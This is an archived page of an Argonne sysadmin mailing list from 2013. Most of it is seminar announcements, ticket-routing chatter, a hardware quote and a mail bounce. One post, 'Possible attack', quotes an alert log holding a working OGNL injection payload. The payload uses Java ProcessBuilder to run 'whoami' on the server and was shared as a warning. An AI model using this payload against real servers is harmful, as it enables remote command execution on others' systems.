September 2013 - Core-sysadmins - mailman3.cels.anl.gov

Reminder: Seminar Announcement - On Determining a Viable Path to Resilience at Exascale
by Kristina M. Conrad 15 Nov '13

15 Nov '13

REMINDER: Today Mathematics and Computer Science Division Speaker: Prof. Frank Mueller, North Carolina State University Host: Pavan Balaji (balaji(a)mcs.anl.gov) Date: August 14, 2013 Time: 1:00 PM - 2:00 PM Location: Argonne National Laboratory, Building 240, Conference Room 4301 On Determining a Viable Path to Resilience at Exascale Exascale computing is projected to feature billion core parallelism. At such large processor counts, faults will become more common place. Current techniques to tolerate faults focus on reactive schemes for recovery and generally rely on a simple checkpoint/restart mechanism. Yet, they have a number of shortcomings. (1) They do not scale and require complete job restarts. (2) Projections indicate that the mean-time-between-failures is approaching the overhead required for checkpointing. (3) Existing approaches are application-centric, which increases the burden on application programmers and reduces portability. To address these problems, we discuss a number of techniques and their level of maturity (or lack thereof) to address these problems. These include (a) scalable network overlays, (b) on-the-fly process recovery, (c) proactive process-level fault tolerance, (d) redundant execution, (e) the effort of SDCs on IEEE floating point arithmetic and (f) resilience modeling. In combination, these methods are aimed to pave the path to exascale computing. BIO : Frank Mueller is a Professor in Computer Science and a member of multiple research centers at North Carolina State University. Previously, he held positions at Lawrence Livermore National Laboratory and Humboldt University Berlin, Germany. He received his Ph.D. from Florida State University in 1994. He has published papers in the areas of parallel and distributed systems, embedded and real-time systems and compilers. He is a member of ACM SIGPLAN, ACM SIGBED and a senior member of the ACM and IEEE Computer Societies as well as an ACM Distinguished Scientist. He is a recipient of an NSF Career Award, an IBM Faculty Award, a Google Research Award and a Fellowship from the Humboldt Foundation.

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Seminar Announcement: A GDB-based Debugger for MPI Applications
by Janet Werner 14 Oct '13

14 Oct '13

Mathematics and Computer Science Division Speaker: Nikoli Dryden, senior undergraduate from the Department of Computer Science at the University of Illinois at Urbana-Champaign (UIUC) Host: Marc Snir (snir(a)mcs.anl.gov) Date: October 14, 2013 Time: 10:00 AM - 11:00 AM Location: Argonne National Laboratory, Building 240, TCS Conference Center Room 1416 A GDB-based Debugger for MPI Applications PGDB is an open-source parallel debugger for MPI applications presently scaling to 1K nodes and currently deployed on systems at Lawrence Livermore National Laboratory and the University of Illinois at Urbana-Champaign. PGDB is written in Python and extends the GNU Debugger (GDB). I will first discuss debugging application with PGDB, which makes extensive use of data aggregation to reduce output and identify classes of processes. I then will discuss the architecture of PGDB and its scalability, including MPIR interfacing and tool daemon deployment with LaunchMON, communication and data aggregation using the MRNet tree-based overlay network, and debugger management. Bio: Nikoli Dryden is an undergraduate at the University of Illinois at Urbana-Champaign pursuing a BS in computer science. He worked at Lawrence Livermore National Laboratory to develop the Parallel GDB (PGDB) debugger, and remains a collaborator with them. He currently works with the XSEDE program at the National Center for Supercomputing Applications, furthering the development of PGDB. Dryden's research interests include high-performance computing, debuggers, machine learning, and graphical models.

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Seminar: How is ‘Big Data’ reshaping a trillion dollar industry?
by Ninfa Mayorga 09 Oct '13

09 Oct '13

Computation Institute Presentation Speaker: Murli Buluswar, Chief Science Officer, AIG Property Casualty Date: October 10, 2013 Time: 11:30 AM - 12:30 PM Location: The University of Chicago, Searle 240A, 5735 S. Ellis Ave. and broadcast via Adobe Connect. How Big is 'Big Data' reshaping a trillion dollar industry? Abstract: Learn how the first C-Suite Science function in a major corporation is harnessing internal & external data to augment the art of decision-making with science. Murli Buluswar, Chief Science officer for AIG, will share his team’s journey in applying data science to identifying and shaping opportunities that both measure and mitigate risk. Bio: Murli Buluswar is the Chief Science Officer for AIG’s property casualty business, reporting to Peter Hancock, Chief Executive Officer of the division. Mr. Buluswar is responsible for building and leading the newly created Science Team, whose mission it is to help the business achieve a competitive advantage by infusing consistent science-driven innovation. He is tasked with establishing a world-class research and development function, focusing on data to support decisions in how AIG can adapt strategies for better business results and more value delivered for the customer. He is coordinating the division’s existing analytics teams, building additional capabilities in these areas and forging strategic links with scientists in academia in relevant disciplines. Prior to joining AIG, Mr. Buluswar was Vice President of Enterprise Customer Experience at Farmers Insurance, responsible for defining and executing a complete customer experience vision with the goal of improving voice of the customer metrics and defined financial measures. His preceding role as Vice President of Insight and Innovation (I&I) at Farmers Insurance enabled him to establish the Internal Analytics Consulting Group to identify and drive new opportunities for the business. Mr. Buluswar was also Vice President of Financial Analysis and Strategic Planning for Answer Financial; Business Unit Manager and Product Manager, Strategic Alliances for Progressive Corporation; and Senior Statistician and Business Analyst for Capital One. He holds a B.A. in Economics from Bluffton University, an M.S. in Statistics and Economics from Auburn University and an M.B.A. in Marketing and Finance from the University of Chicago. He is regularly invited to speak at insurance and other industry conferences and is actively involved with the Los Angeles-based Harmony Project, an initiative to help inner city children achieve purpose through free music instruction. Information Lunch will be provided. You may join the broadcast from your location by using Adobe Connect Meeting. To join the meeting: http://anl.adobeconnect.com/tcs-ci -Enter as a guest If you have never attended an Adobe Connect meeting before, you may test your connection: http://anl.adobeconnect.com/common/help/en/support/meeting_test.htm Get a quick overview: http://www.adobe.com/go/connectpro_overview

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Seminar: Universal laws and architectures: brains, bugs, nets, dance, art, music, literature, fashion, buildings, and zombies
by Ninfa Mayorga 09 Oct '13

09 Oct '13

~Revised~ Computation Institute Presentation Speaker: John Doyle, Caltech Host: Gary An Date: October 10, 2013 Time: 1:00 PM - 2:00 PM Location: The University of Chicago, Searle 240A, 5735 S. Ellis Ave. and broadcast via Adobe Connect Universal laws and architectures: brains, bugs, nets, dance, art, music, literature, fashion, buildings, and zombies This talk will focus on progress towards a more “unified” theory for complex networks motivated primarily by neuroscience, cell biology, and technology, and involving several elements: hard limits, tradeoffs, and constraints on achievable robust performance ( “laws”), the organizing principles that succeed or fail in achieving them (architectures and protocols), the resulting high variability data and “robust yet fragile” behavior observed in real systems and case studies (behavior, data), and the processes by which systems adapt and evolve (variation, selection, design). We will leverage a series of case studies from neuroscience, particularly vision and sensorimotor control, and medical physiology, particularly heart rate and other control system variability, but also cell biology, human physiology, and technology to illustrate the implications of recent theoretical developments, also drawing on hopefully more familiar and accessible examples from dance, art, music, literature, fashion, buildings, cities, law, and the recent popular obsession with zombies. Hard limits on measurement, prediction, communication, computation, decision, and control, as well as the underlying physical energy and material conversion mechanism necessary to implement these abstract process are at the heart of modern mathematical theories of systems in engineering and science (often associated with names such as Shannon, Poincare, Turing, Gödel, Bode, Wiener, Heisenberg, Carnot,…). They form the foundation for rich and deep subjects that are nevertheless now introduced at the undergraduate level. Unfortunately, these subjects remain largely fragmented and incompatible, even as the tradeoffs between these limits are essential to understanding human physiology and neuroscience, and are of growing importance in building integrated and sustainable infrastructure and systems. We will aim for an accessible summary of how they do and don’t relate to each other, and progress and prospects for a more integrated theory. Papers [1]and [4] (and references therein) are the most accessible and broad introduction while the other papers give more domain specific details. Selected recent references: Alderson DL, Doyle JC (2010) Contrasting views of complexity and their implications for network-centric infrastructures. IEEE Trans Systems Man Cybernetics—Part A: Syst Humans40:839-852. Sandberg H, Delvenne JC, Doyle JC. On Lossless Approximations, the Fluctuation-Dissipation Theorem, and Limitations of Measurements, IEEE Trans Auto Control, Feb 2011 Chandra F, Buzi G, Doyle JC (2011) Glycolytic oscillations and limits on robust efficiency.Science, Vol 333, pp 187-192. Doyle JC, Csete ME(2011) Architecture, Constraints, and Behavior, P Natl Acad Sci USA, vol. 108, Sup 3 15624-15630 Gayme DF, McKeon BJ, Bamieh B, Papachristodoulou P, Doyle JC (2011) Amplification and Nonlinear Mechanisms in Plane Couette Flow, Physics of Fluids, V23, Issue 6, 065108 Page, M. T., D. Alderson, and J. Doyle (2011), The magnitude distribution of earthquakes near Southern California faults, J. Geophys. Res., 116, B12309, doi:10.1029/2010JB007933. Namas R, Zamora R, An, G, Doyle, J et al, (2012) Sepsis: Something old, something new, and a systems view, Journal Of Critical Care Volume: 27 Issue: 3 Chen, L; Ho, T; Chiang, M, Low S; Doyle J,(2012) Congestion Control for Multicast Flows With Network Coding, IEEE Trans On Information Theory Volume: 58 Issue: 9 Pages: 5908-5921 John Doyle Bio: John G Braun Professor of Control and Dynamical Systems, Electrical Engineer, and BioEngineering at Caltech. BS, MS EE, MIT (1977), PhD, Math, UC Berkeley (1984). Current research interests are in theoretical foundations for complex networks in engineering and biology, unifying controls, computing, communications, and physics. Emphasis on architecture, dynamics, feedback, layering, tradeoffs, evolvability. Case studies drawn from throughout technology plus cell biology, physiology, ecology, multiscale physics, neuroscience, and fashion. Early work was in the mathematics of robust control, including extensions to nonlinear and networked systems, with applications in aerospace and process control. His group contributed to the Matlab Robust Control Toolbox (for decades the premier control design software), SOSTOOLS (Nonlinear systems analysis), SBML (Systems Biology Markup Language), and FAST (Fast AQM, Scalable TCP) internet protocols. Paper prizes include IEEE Baker, IEEE Automatic Control Transactions (twice), and best conference papers in ACM Sigcomm and AACC American Control Conference. Individual awards include AACC Eckman and IEEE Control Systems Field and Centennial Outstanding Young Engineer Awards. Held national and world records and championships in various sports. Best known for having excellent co-authors, students, friends, and colleagues. Information: www.cds.caltech.edu/~doyle You may join the broadcast from your location by using Adobe Connect. To join the meeting: http://anl.adobeconnect.com/tcs-ci -Enter as a guest If you have never attended an Adobe Connect meeting before, you may test your connection: http://anl.adobeconnect.com/common/help/en/support/meeting_test.htm Get a quick overview: http://www.adobe.com/go/connectpro_overview

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Possible attack
by Gene Rackow 02 Oct '13

02 Oct '13

HQ has sent us the following alert. Not sure what trigger they used, but it appears someone is poking at 140.221.6.95 from 111.161.127.145 site | last_seen_timet | saddr | sorganization | = daddr | dorganization | request anl | 2013-09-29 18:13:10+00 | 111.161.127.145 | China Unicom Tianjin | 14= 0.221.6.95 | Argonne National Lab | /~childers/dmsTestrun/log.htm?redirect:= ${#a=3D(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).sta= rt(),#b=3D#a.getInputStream(),#c=3Dnew java.io.InputStreamReader(#b),#d=3Dn= ew java.io.BufferedReader(#c),#e=3Dnew char[50000],#d.read(#e),#matt=3D#con= text.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.ge= tWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} (1 row) Looks like it may be a java overflow or injection attack. -Gene

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Quote for 8 bay HDD backplane
by Dan Olson 02 Oct '13

02 Oct '13

If we need these, they are available from MNJ. Here is a quote to outfit both with 8 additional HDD bays: http://www.mnjtech.com/UI/Carts/EditCarts.aspx?CartID=1346 Total: $898.88 There are onboard raid controllers with flash backed cache, but they only support raid 10, which I think is sufficient, and optimal, for the database workload. ---- Daniel Murphy-Olson Systems Administrator Mathematics & Computer Science Division Argonne National Laboratory 630-252-0055

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Assigning tickets.
by Craig Stacey 30 Sep '13

30 Sep '13

Not to put too fine a point on this, but that list is way too long for a cheat sheet entry. Kevin, Tina, Martino, make your best guess as to who should own a ticket. If you get it wrong, the person who gets the ticket can reassign it with minimal effort. We can't programmatically determine the owner of every ticket. It's really not hard to change the owner of a ticket. I'm copying the rest of the group so they see this -- Sysadmins, don't sweat it if you get a ticket assigned to you that you think you shouldn't own. If you know you're not the right person, pass it on. If you have no idea who to pass it on to, give it to me. -- Craig On Sep 30, 2013, at 5:15 PM, Dan Olson <dolson(a)mcs.anl.gov> wrote: > Here is a list of all SEED/NMPDR machines: > cedar > fir > hemlock > larch > gum > redwood > spruce > alder > aspen > beech > elm > holly > maple > netapp2a > netapp2b > anno-3 > ash > bio-admin-1 > bio-admin-2 > bio-admin-3 > bio-data-1 > bio-data-2 > bio-intel-compute-1 > bio-intel-compute-10 > bio-intel-compute-11 > bio-intel-compute-12 > bio-intel-compute-2 > bio-intel-compute-3 > bio-intel-compute-4 > bio-intel-compute-5 > bio-intel-compute-6 > bio-intel-compute-7 > bio-intel-compute-8 > bio-intel-compute-9 > bio-intel-head-1 > biologin-3 > biologin-4 > biologin-5 > bio-macpro-1 > bio-macpro-2 > biosge > birch > cypress > marne-1 > marne-2 > marne-3 > marne-4 > ml-mds > ml-oss3 > oak > rast > sto02 > sto09 > sto06 > > ----- Original Message ----- >> From: "Craig Stacey" <stace(a)mcs.anl.gov> >> To: "Tina Stanton-Piersanti" <tstanton(a)mcs.anl.gov> >> Cc: "Hunter Matthews" <hunter(a)mcs.anl.gov>, "Daniel E. Murphy-Olson" <dolson(a)mcs.anl.gov>, mhenders(a)mcs.anl.gov, >> "Kevin Walker" <klwalker(a)mcs.anl.gov> >> Sent: Monday, September 30, 2013 5:09:32 PM >> Subject: Re: [mcs-systems #182929] Lousy webserver performance from 'servers.nmpdr.org' (AKA >> 'bio-admin-2.mcs.anl.gov') >> >> Another cheat sheet -- NMPDR == SEED >> >> >> -- >> Craig >> >> >> On Sep 30, 2013, at 5:08 PM, Tina Stanton-Piersanti < >> tstanton(a)mcs.anl.gov > wrote: >> >> >> >> This was my doing, Kevin pinged me on who he should give BIO tickets >> too, and I responded Hunter, without reading it and thinking it >> could be Seed. >> >> >> I have copied Kevin and Martino on this message, so they are also >> aware now - Hunter = IGSB and Dan = SEED tickets. >> >> >> However, looking at the subject of this ticket, I would of given this >> to Hunter anyway, since I am not sure which bio server goes with >> which resource?Is there something you can provide us in more detail >> - which one of you works on what server? >> >> >> T >> >> >> >> >> >> On Sep 30, 2013, at 4:53 PM, Craig Stacey wrote: >> >> >> >> No, Hunter, sorry there's no way. :) >> >> >> Ask Tina. >> >> >> -- >> Craig >> >> >> On Sep 30, 2013, at 4:52 PM, Hunter Matthews < hunter(a)mcs.anl.gov > >> wrote: >> >> >> Dan, >> I just put this ticket in your name. >> >> Craig, >> Is there a way we could update the helpdesk with which tickets go to >> me vs dan (igsb vs seed)? >> >> Begin forwarded message: >> >> >> >> From: "Kevin Walker via RT" < systems(a)mcs.anl.gov > >> Subject: [mcs-systems #182929] Lousy webserver performance from ' >> servers.nmpdr.org ' (AKA ' bio-admin-2.mcs.anl.gov ') >> Date: September 30, 2013 4:37:55 PM CDT >> To: hunter(a)mcs.anl.gov >> Reply-To: systems(a)mcs.anl.gov >> >> Mon Sep 30 16:37:55 2013: Request 182929 was acted upon. >> Transaction: Given to hunter by klwalker >> Queue: mcs-systems >> Subject: Lousy webserver performance from ' servers.nmpdr.org ' (AKA >> ' bio-admin-2.mcs.anl.gov ') >> Owner: hunter >> Requestors: chrisshenry(a)gmail.com , gdpusch(a)xnet.com , >> olson(a)mcs.anl.gov , seed-tech(a)mcs.anl.gov >> Status: new >> Ticket <URL: https://rt.mcs.anl.gov/Ticket/Display.html?id=182929 > >> >> >> This transaction appears to have no content >> >> -- >> Hunter Matthews Unix Administrator >> Office: Bldg 240 Room 2139 Argonne National Labs, MCS >> Key: F0F88438 / FFB5 34C0 B350 99A4 BB02 9779 A5DB 8B09 F0F8 8438 >> Never take candy from strangers. Especially on the internet. >> >> >> >> >>

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IP Blocked
by Daniel Olson 30 Sep '13

30 Sep '13

While I was trying to figure out how to SSLify our expression engine admin interface, I wound up getting my ip blocked by the lab. Can someone ask cyber(a)anl.gov to unblock my ip, 172.8.154.68. And let them know the unblock can't wait for the page to be fixed, because I can't fix it if I can't access it. grr, Dan

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Where's Dan?
by Dan Olson 30 Sep '13

30 Sep '13

I've got a terrible headache. I'm going to head home, and try to see if I can be productive from my couch after a few Tylenol. --Dan

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Undelivered Mail Returned to Sender
by MAILER-DAEMON＠mcs.anl.gov 30 Sep '13

30 Sep '13

This is the mail system at host mailrelay.mcs.anl.gov. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. For further assistance, please send mail to postmaster. If you do so, please include this problem report. You can delete your own text from the attached returned message. The mail system <jguo(a)cs.utsa.edu>: host mail1.cs.utsa.edu[129.115.28.32] said: 550 5.1.1 <jguo(a)cs.utsa.edu>: Recipient address rejected: User unknown in local recipient table (in reply to RCPT TO command)

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